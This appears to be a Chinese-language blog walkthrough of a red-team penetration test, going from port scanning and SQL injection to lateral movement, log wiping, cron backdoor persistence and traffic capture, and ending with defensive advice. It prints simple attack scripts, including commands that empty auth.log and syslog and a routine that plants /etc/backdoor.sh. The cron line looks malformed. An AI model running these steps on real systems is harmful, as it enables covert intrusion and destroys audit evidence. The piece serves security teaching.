一、潜入之始：从一起真实渗透说起
在一次真实的渗透测试中，我们接到了一个任务：攻破某互联网公司内部网络，以验证其安全措施的有效性。目标公司自认为已经实施了完善的防御体系，配备了最新的EDR和防火墙。然而，事实证明，即便是最坚固的堡垒，也有其薄弱之处。我们将通过这篇文章带你体验一次完整的红队行动，展示如何从信息收集到最终渗透成功，环环相扣地攻破目标。
二、信息收集与情报分析：摸清底牌
在红队行动中，信息收集是最重要的环节之一。我们需要尽可能全面地了解目标的IT资产、员工构成、已知漏洞等信息。这一步的关键在于悄无声息地收集情报，同时避免触发目标的警报系统。
目标资产扫描
首先，我们使用Python脚本对目标网络进行轻量级扫描，以识别关键服务和开放端口。下面是样例代码：
<pre><code class="language-python">import socket
def scan_ports(ip): open_ports = [] for port in range(1, 65535): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.5) result = sock.connect_ex((ip, port)) if result == 0: open_ports.append(port) sock.close() return open_ports
target_ip = '192.168.1.1' print(f"Open ports on {target_ip}: {scan_ports(target_ip)}")</code></pre>
社工与社交工程
通过社交平台与目标公司的员工建立联系，获取内部应用、邮件格式等信息。这些信息能为后续的铓鱼攻击提供帮助。
三、0x02 漏洞利用：直击要害
在信息收集完毕后，我们进入漏洞利用阶段。通过扫描，我们发现目标服务器某版本的Web应用存在一个未修补的SQL注入漏洞，这成为我们突破防线的关键。
构造Payload：手艺的体现
在SQL注入中，构造有效的Payload是成功的关键。我们通过以下Python脚本进行SQL注入攻击：
<pre><code class="language-python">import requests
def attempt_injection(url, payload): response = requests.get(url, params={'query': payload}) if "error" not in response.text: print(f"Possible SQL injection point with payload: {payload}")
base_url = 'http://example.com/search' payloads = ["' OR '1'='1", "' OR '1'='1'--", "' OR ''='"] for payload in payloads: attempt_injection(base_url, payload)</code></pre>
绕过WAF技巧
为了绕过WAF，我们混淆Payload并使用子查询和注释等技术，使恶意代码看起来像正常查询。
四、内网漫游：深入虎穴
成功入侵Web服务器后，我们开始进行内网横向移动。在这个阶段，我们的目标是获取更高权限，访问更多的系统。
横向移动技术
我使用PowerShell脚本来进行凭证收集和利用：
<pre><code class="language-powershell">Get-WmiObject -Query "SELECT * FROM Win32_UserAccount" | ForEach-Object { Write-Host $_.Name }</code></pre>
权限提升：从小兵到将军
利用已获得的低权限用户，我们通过提权漏洞或域内资源的误配置，获得域管理员权限。这一步通常需要结合漏洞利用和社会工程。
五、痕迹清除与权限维持：潜伏者的艺术
在成功获取目标数据后，红队必须确保行动不被发现。痕迹清除和权限维持都是艺术般的操作，它们保证我们在目标系统中能长期潜伏。
清除日志与文件
通过Bash脚本清理系统日志，避免被发现：
<pre><code class="language-bash">#!/bin/bash
Clear logs
echo "" > /var/log/auth.log echo "" > /var/log/syslog</code></pre>
隐蔽后门植入
植入后门脚本，以便后续进入：
<pre><code class="language-python">import os
def setup_backdoor(): os.system("echo 'backdoor script' > /etc/backdoor.sh") os.system("chmod +x /etc/backdoor.sh") os.system("(crontab -l 2>/dev/null; echo ' * /etc/backdoor.sh') | crontab -")
setup_backdoor()</code></pre>
六、流量捕获实战：监视与控制
在长时间潜伏期间，我们需要对内网流量进行监控，以便及时掌握目标的动态以及潜在的安全措施更改。
监控工具的使用
使用流量捕获工具，如tcpdump，进行网络数据分析：
<pre><code class="language-bash">sudo tcpdump -i eth0 -w capture.pcap</code></pre>
数据分析技巧
捕获的数据将被分析，以便发现新的攻击机会或识别潜在的防御措施。
七、经验分享与总结：攻防之间的博弈
渗透测试不只是技术的较量，更是心理的博弈。在这次红队行动中，我们发现目标最大的弱点在于对常规防御措施过于依赖，而忽视了基础设施的漏洞修复和员工的安全意识培训。
如何提升攻防能力
- 定期漏洞扫描与修复：通过自动化工具及时发现并修补漏洞。
- 安全意识培训：提高员工对社会工程攻击的防范意识。
- 多层次的防御体系：结合行为分析与传统防御措施，增强整体安全性。
最后提醒大家，本文的技术仅供授权安全测试学习之用，切勿用于非法用途。通过这次分享，希望能帮助安全人员提升技术能力，并推动企业提高整体安全水平。